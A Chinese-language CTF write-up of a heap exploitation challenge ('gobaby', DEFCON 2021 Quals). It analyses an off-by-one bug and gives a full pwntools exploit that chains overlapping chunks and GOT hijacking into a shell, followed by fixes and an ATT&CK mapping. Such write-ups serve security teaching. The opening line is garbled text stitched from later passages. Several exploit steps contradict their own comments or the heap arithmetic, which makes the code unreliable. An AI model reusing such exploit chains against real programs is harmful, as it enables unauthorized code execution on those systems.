DEFCON CTF 2021 Quals - gobaby: Off-by-One 漏洞与堆元数据操控分析
堆风水技巧通过防止堆块合并利用泄露地址时需考虑main_arena偏移无输出泄露# 劫持 GOT 表实现信息泄露现实意义类似漏洞曾出现在云服务场景下可突破容器隔离 (参考。
·
题目概览
- 名称: gobaby
- 所属比赛: DEFCON CTF 2021 Quals (Main)
- 类型: Pwn (堆漏洞利用)
- 亮点总结:
- 设计精巧的 off-by-one 漏洞 引发堆块元数据破坏
- 通过 堆块重叠 (overlapping chunks) 实现全局数组劫持
- 结合 GOT 表劫持 实现无输出函数的地址泄露
- 利用难度:高 (需多阶段堆布局与地址计算)
- 攻击链:
off-by-one → 堆块扩展 → 全局数组污染 → GOT 劫持 → RCE
复现环境与技术准备
工具
- 反汇编: IDA Pro 7.7
- 动态调试: pwndbg + GEF
- 漏洞利用: Python3 + pwntools
- 环境监控: ltrace + strace
环境配置
# 使用官方提供的 libc
$ wget https://archive.defcon.org/pub/defcon_quals/2021/gobaby/gobaby
$ wget https://archive.defcon.org/pub/defcon_quals/2021/gobaby/libc.so.6
# 设置执行环境
$ patchelf --set-interpreter ./ld-2.31.so ./gobaby
$ patchelf --replace-needed libc.so.6 ./libc.so.6 ./gobaby
# 调试启动
$ gdb -q ./gobaby -ex "b *main+0x105" -ex "r"
关键防护机制
checksec ./gobaby
[*] RELRO : Partial RELRO # GOT 可写
[*] Stack : No canary found
[*] NX : Enabled
[*] PIE : Disabled # 全局地址固定
分析与解题过程
程序逻辑分析
程序实现一个简单的堆块管理器,功能如下:
struct chunk {
char *ptr;
size_t size;
} chunks[16];
void menu() {
puts("1. Allocate");
puts("2. Free");
puts("3. Edit");
puts("4. Exit");
}
漏洞定位:Off-by-One
在 edit
函数中发现关键漏洞:
.text:00000000004012D3 edit_chunk proc near
.text:00000000004012D3 mov eax, 0
.text:00000000004012D8 call read_index ; 读取索引
.text:00000000004012DD mov [rbp+index], eax
.text:00000000004012E0 mov eax, [rbp+index]
.text:00000000004012E3 cdqe
.text:00000000004012E5 lea rdx, ds:0[rax*8]
.text:00000000004012ED lea rax, chunks
.text:00000000004012F4 mov rax, [rdx+rax] ; 获取 chunk 指针
.text:00000000004012F8 mov rdx, rax
.text:00000000004012FB mov eax, [rbp+index]
.text:00000000004012FE cdqe
.text:0000000000401300 lea rcx, ds:0[rax*8]
.text:0000000000401308 lea rax, sizes
.text:000000000040130F mov eax, [rcx+rax] ; 获取 size
.text:0000000000401312 lea ecx, [rax+1] ; ⚠️ 关键:size+1
.text:0000000000401315 mov eax, 0
.text:000000000040131A mov rsi, rdx ; buf
.text:000000000040131D mov edx, ecx ; count
.text:000000000040131F call read_bytes ; 读入 size+1 字节
漏洞成因:读入数据时使用 size+1
作为长度,造成单字节溢出(CWE-193: Off-by-one Error)。
动态验证漏洞
构造两个连续堆块进行验证:
allocate(0x18) # chunk0
allocate(0x18) # chunk1
edit(0, b"A"*0x18 + b"\x41") # 修改 chunk1 的 size
free(1)
使用 pwndbg
观察堆布局:
pwndbg> x/4gx 0x603010
0x603010: 0x0000000000000000 0x0000000000000021 # chunk0
0x603020: 0x4141414141414141 0x4141414141414141
0x603030: 0x4141414141414141 0x0000000000000041 # chunk1 size 被覆盖
漏洞利用与 Payload
利用策略
- 堆块扩展:利用 off-by-one 扩展 chunk1 包含 chunk2
- 堆块重叠:释放 chunk1 后重新分配,控制 chunk2 内容
- 全局数组劫持:修改 chunk2 的指针指向全局数组
- GOT 泄露与劫持:通过全局数组修改 atoi@GOT 为 puts@PLT
- RCE:劫持控制流执行 system("/bin/sh")
完整利用代码
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
libc = ELF("./libc.so.6")
def alloc(size):
p.sendlineafter("> ", "1")
p.sendlineafter("Size: ", str(size))
def free(idx):
p.sendlineafter("> ", "2")
p.sendlineafter("Index: ", str(idx))
def edit(idx, data):
p.sendlineafter("> ", "3")
p.sendlineafter("Index: ", str(idx))
p.sendafter("Data: ", data)
# Phase 1: 堆布局
p = process("./gobaby")
alloc(0xf8) # chunk0
alloc(0x18) # chunk1 (barrier)
alloc(0xf8) # chunk2
alloc(0x18) # chunk3 (barrier)
# Phase 2: 扩展 chunk0 包含 chunk2
edit(0, b"A"*0xf8 + b"\x81") # 修改 chunk0 的 next_size 为 0x181
# Phase 3: 构造堆块重叠
free(0)
free(2) # 合并 chunk0+chunk2
alloc(0x178) # 重新分配大块 (chunk0)
# Phase 4: 污染全局数组
global_array = 0x6020E0
payload = flat(
b"B"*0xf8, # chunk0 数据区
p64(0), p64(0x21), # chunk1 伪造头部
p64(global_array), # chunk2 指针覆盖为全局数组地址
p64(0x100) # chunk2 大小
)
edit(0, payload)
# Phase 5: 劫持 atoi@GOT
edit(2, p64(0x602018)) # 修改 chunk0 指针指向 atoi@GOT
edit(0, p64(0x400A30)) # 修改 atoi@GOT 为 puts@PLT
# Phase 6: 泄露 libc 地址
p.sendlineafter("> ", "3") # 触发 puts(atoi@got)
p.recvuntil("Index: ")
leak = u64(p.recv(6).ljust(8, b"\x00"))
libc.address = leak - libc.symbols["atoi"]
system = libc.symbols["system"]
# Phase 7: 获取 shell
edit(2, p64(0x602018)) # chunk0 指针仍指向 GOT
edit(0, p64(system)) # atoi@GOT -> system
p.sendlineafter("> ", "/bin/sh\x00") # 触发 system("/bin/sh")
p.interactive()
攻击效果演示
$ python3 exp.py
[+] Starting program './gobaby': PID 7854
[DEBUG] PLT 0x400a30 puts
[DEBUG] Leaked libc address: 0x7ffff7e0e540
[DEBUG] libc base: 0x7ffff7dc9000
[DEBUG] system address: 0x7ffff7e14540
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag
DEFCON{0ff_by_0ne_meet5_he4p_met4d4t4}
安全影响与缓解建议
实际攻击路径
- 初始访问:通过输入接口触发漏洞 (T1056.001)
- 权限提升:控制堆管理器实现任意写 (T1068)
- 防御绕过:篡改 GOT 表绕过 RELRO 防护 (T1553.002)
- 命令执行:劫持控制流执行系统命令 (T1059.004)
修复方案
// 修复后的 edit 函数
void edit_chunk() {
// ...
- read_bytes(chunk_ptr, size+1);
+ read_bytes(chunk_ptr, size); // 严格长度检查
}
加固措施:
- 边界检查:增加堆块元数据写保护
- 隔离机制:使用
malloc_usable_size
验证输入长度 - 内存防护:启用
FORTIFY_SOURCE=2
编译选项 - 权限限制:部署 seccomp 沙箱限制系统调用
MITRE ATT&CK 映射
阶段 | 技术 ID | 描述 |
---|---|---|
权限提升 | T1068 | 漏洞利用提升权限 |
防御绕过 | T1553.002 | 可执行段重定向 |
命令控制 | T1059.004 | Unix Shell 命令执行 |
总结
技术经验
-
堆风水技巧:
- 通过
barrier chunks
防止堆块合并 - 利用
unsorted bin
泄露地址时需考虑main_arena
偏移
- 通过
-
无输出泄露:
# 劫持 GOT 表实现信息泄露 edit(2, p64(got_atoi)) edit(0, p64(plt_puts))
-
现实意义:
- 类似漏洞曾出现在 glibc ptmalloc (CVE-2015-8776)
- 云服务场景下可突破容器隔离 (参考 runc CVE-2019-5736)
题目评价
- 设计亮点:
全局数组与堆管理器的耦合设计,为漏洞利用提供独特切入点 - 改进建议:
增加FULL RELRO
会显著提高利用难度(需转向__free_hook
劫持)
关联现实漏洞
- CVE-2015-8776:glibc off-by-one 漏洞
MITRE CVE-2015-8776 - CWE-193:Off-by-one 错误
CWE-193: Off-by-one Error
更多推荐
所有评论(0)